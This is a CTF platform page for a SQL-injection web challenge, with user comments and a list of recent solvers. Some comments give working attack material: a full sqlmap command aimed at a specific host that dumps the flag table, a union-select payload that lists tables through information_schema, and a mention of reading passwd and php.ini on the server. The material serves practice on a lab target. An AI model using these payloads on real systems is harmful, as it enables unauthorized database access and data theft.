成绩查询WEB 未解决

分数: 25 金币: 2
题目作者: 未知
一  血: npfs
一血奖励: 1金币
解  决: 11107
提  示:
描  述:
来源山科大ctf
评论
DrKeen 1年前

hackbar有问题id=1'做不到,用burp搞了

回复 0

SmallH 1年前

是不是真的环境被改了呀?真的对照WriteUp一步一步来还是没回显,每次注入就全部重置,是不是考虑退一下金币了???

回复 1
.⎛⎝•̀ω•́⎠⎞. 1年前

我用sqlmap做出来了

回复 0

gboyd 1年前

我1’ 1” 1‘) 1”) 1 都试过了为啥都显示正常啊!!!!!

回复 0

NPC 1年前

环境绝对有问题,照着答案注入都无回显!!!退金币!

回复 3

EtHat 2年前

sqlmap一把梭哈

回复 0

blackjack009 2年前

python sqlmap.py -u http://114.67.175.224:11724/index.php --random-agent --dbms mysql --data="id=1" -p id -v 6 -T fl4g --dump

回复 0

18946551925 2年前

为什么一注入就连接已重置啊??????烦死了,差哪呢?

回复 1

xiaohaisec 2年前

1'报错 1"不报错,所以使用' 查询数据表 -1' union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()# sc fl4g 查询表的字段名 -1' union select 1,databa

回复 0

n0pass 2年前

启动环境以后网页打不开啊。。。。。。退钱

回复 0
harry 管理员 2年前

已修复,金币退了

回复 2

老渡真的不懂 2年前

环境有点问题,有时能用有时不能用。试了一下passwd,group,php.ini能看,像我这样的菜鸟也就看看,做不了什么,大神恐怕随随便便就能破坏环境,感觉权限给高了。环境总出问题不会是大佬进去搞破坏了吧?

回复 1

WriteUp

image
harry

2 金币

评分(22)

解题动态

木木夕 攻破了该题 56分钟前
BLX123 攻破了该题 14小时前
victorcream 攻破了该题 14小时前
你不管你不操心 攻破了该题 16小时前
空空如也 攻破了该题 20小时前
zdabajfk 攻破了该题 21小时前
xjn12 攻破了该题 22小时前
lancertyk 攻破了该题 1天前
1348931180 攻破了该题 1天前
有点易斯但不多 攻破了该题 1天前
1293273679 攻破了该题 2天前
liuhang1208 攻破了该题 2天前
liberator 攻破了该题 2天前
l2 攻破了该题 2天前
15573930169 攻破了该题 2天前
19918070120 攻破了该题 2天前
Oliver23 攻破了该题 2天前
yinxaung 攻破了该题 2天前
zerogotcha 攻破了该题 2天前
西米露sml 攻破了该题 3天前
问题反馈